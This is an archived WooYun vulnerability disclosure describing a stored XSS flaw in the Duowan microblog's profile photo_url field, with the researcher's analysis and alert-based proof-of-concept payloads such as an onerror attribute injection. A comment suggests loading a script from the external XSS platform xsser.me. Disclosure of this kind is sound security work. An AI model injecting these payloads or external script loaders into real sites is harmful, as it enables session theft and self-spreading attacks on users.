当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-014797

漏洞标题:多玩微博高危存储型XXS、微博、蠕虫,让你不重视安全

相关厂商:广州多玩

漏洞作者: huliang

提交时间:2012-11-15 14:21

修复时间:2012-11-20 14:21

公开时间:2012-11-20 14:21

漏洞类型:成功的入侵事件

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-11-15: 细节已通知厂商并且等待厂商处理中
2012-11-20: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

多玩微博存储型XXS,想必蠕动也无压力!

详细说明:

话说,我上次为了拿个乌云帐号,发了多玩个服务器认证上的漏洞,悲催的官方一直木有修复!貌似他们认为他们的协议坚不可摧,利用困难!
不说鸟,哥并不是跟多玩有仇,真实是他们家的一个普通用户中一个不安份的用户!
下面开始:
1、激活多玩微博,打开修改资料页面

1.jpg


说明:表单看起来很简单哦,暗藏玄机
2、直接看抓包,关注Post的字段

2.jpg


哥要说的是,多玩的程序员,Js写的真心不咋样,几乎每个js函数都有注释,而且有些函数漏洞百出,就比如说这里的表单吧,
nick 有前端验证+后端验证
sex 有前后验证
其他都有一些前端验证,但是木有后端验证,比如说省份、地址、生日等
其实生日在后端的验证就是类型强转!
假如我们不玩XXS ,这里照样可以地址提交为 火星 来装个比!生日搞个 3000年!
3:我们分析下多玩微博首页

8.jpg


看到咯,首页上有些啥呢~~想必不用我说,大家也知道呢!
关键就出在photo_url这个字段上。说实话,我根本懒得分析它是干啥的,我只要XXS
4:接下来,IE9闪亮登场,哥非常中意IE9的开发者工具,用来调试js那叫一个方便啊,

3.jpg


某些输出是用jQuery.text 函数了,这无懈可击,有些呢是直接取出放变量了。
我们关注的是photo_url,其实俺对XXS不甚精通,本人也不是搞web开发的,混迹久了多少知道点,
所以我首先搞了这么一句:xxs"!=(function(){alert("xxs");return "xxs";})() && "
本来期望 if(photo_url && )这句能顺利执行,但是哥也不知道为啥 直接if("xxs"!=(function(){alert("xxs");return "xxs";})() && "")是可以的,但是将这句xxs放到photo_url字段里在if(photo)就不行鸟~~
既然这样不行,就另找方法,继续往下看,好个乖乖~~
敢构造img的src ,那哥就不客气了,果断跟进 getPhotoUrl函数看个究竟
5:getPhotoUrl函数作者,你们老板喊你去喝茶!

4.jpg


很好,那就不要客气了,直接构造语句吧;xxs" onerror="javascript:alert(0);void(0);"."
6:接下来,成功鸟~~成功的xxs

6.jpg


激情过后,第一时间来提交漏洞,哥是文明人,不会搞蠕虫,也不会搞别的!
有心了就送个礼物,但是别送YY熊了,你们已经送过我一个熊了!

漏洞证明:

请看详细说明!

修复方案:

你懂的~!

版权声明:转载请注明来源 huliang@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2012-11-20 14:21

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2012-11-15 14:22 | se55i0n ( 普通白帽子 | Rank:1567 漏洞数:173 )

    @huliang DZ标题霸气外露~

  2. 2012-11-15 14:25 | huliang ( 路人 | Rank:12 漏洞数:3 | 过往如昙花一现)

    @se55i0n 哈哈~忽悠的,XXS我只会 alert("xxs"),蠕虫是留给大牛玩的~^_^

  3. 2012-11-15 15:20 | dyun ( 普通白帽子 | Rank:102 漏洞数:15 | [code][/code])

    @huliang XXS=>XSS

  4. 2012-11-15 16:06 | huliang ( 路人 | Rank:12 漏洞数:3 | 过往如昙花一现)

    @dyun 杯具啊~~手误了20几年了~终于被你发现了

  5. 2012-11-15 17:05 | Finger 认证白帽子 ( 普通白帽子 | Rank:777 漏洞数:95 | 最近有人冒充该账号行骗,任何自称Finger并...)

    document.location.hostname="wooyun.org"

  6. 2012-11-19 11:10 | 大和尚 ( 实习白帽子 | Rank:49 漏洞数:5 | www.ieroot.com 积极向上的心态!百折不挠...)

    @dyun 我擦,长姿势了。我以前都写sxx的。=。=

  7. 2012-11-20 14:34 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    霸气的解释、霸气的评语。。最后被霸气的忽略了。。洞主节哀。。

  8. 2012-11-20 14:34 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    @Finger 。。。咋又发这句。。。

  9. 2012-11-20 15:12 | shack2 ( 普通白帽子 | Rank:470 漏洞数:71 | QQ:1341413415 一个热爱编程(Java),热爱网...)

    看了我提交的yy那个你就后悔了

  10. 2012-11-20 16:38 | huliang ( 路人 | Rank:12 漏洞数:3 | 过往如昙花一现)

    @shack2 杯具~~这个都被忽略的, 大概他们以为只弹个 alert(0) 没什么危害呢,还是?请访问:http://m.yy.com/zone/412969717

  11. 2012-11-20 16:41 | huliang ( 路人 | Rank:12 漏洞数:3 | 过往如昙花一现)

    @xsser 求xsser.me 的邀请码,以后不能弹 alert(0)了,要 document.write("<script src='http://www.xsser.me/xss'/>")

  12. 2013-02-16 19:40 | 逍遥 ( 普通白帽子 | Rank:127 漏洞数:40 | 屌丝一个,求基友!)

    多玩很操蛋 我可以说FUCK吗?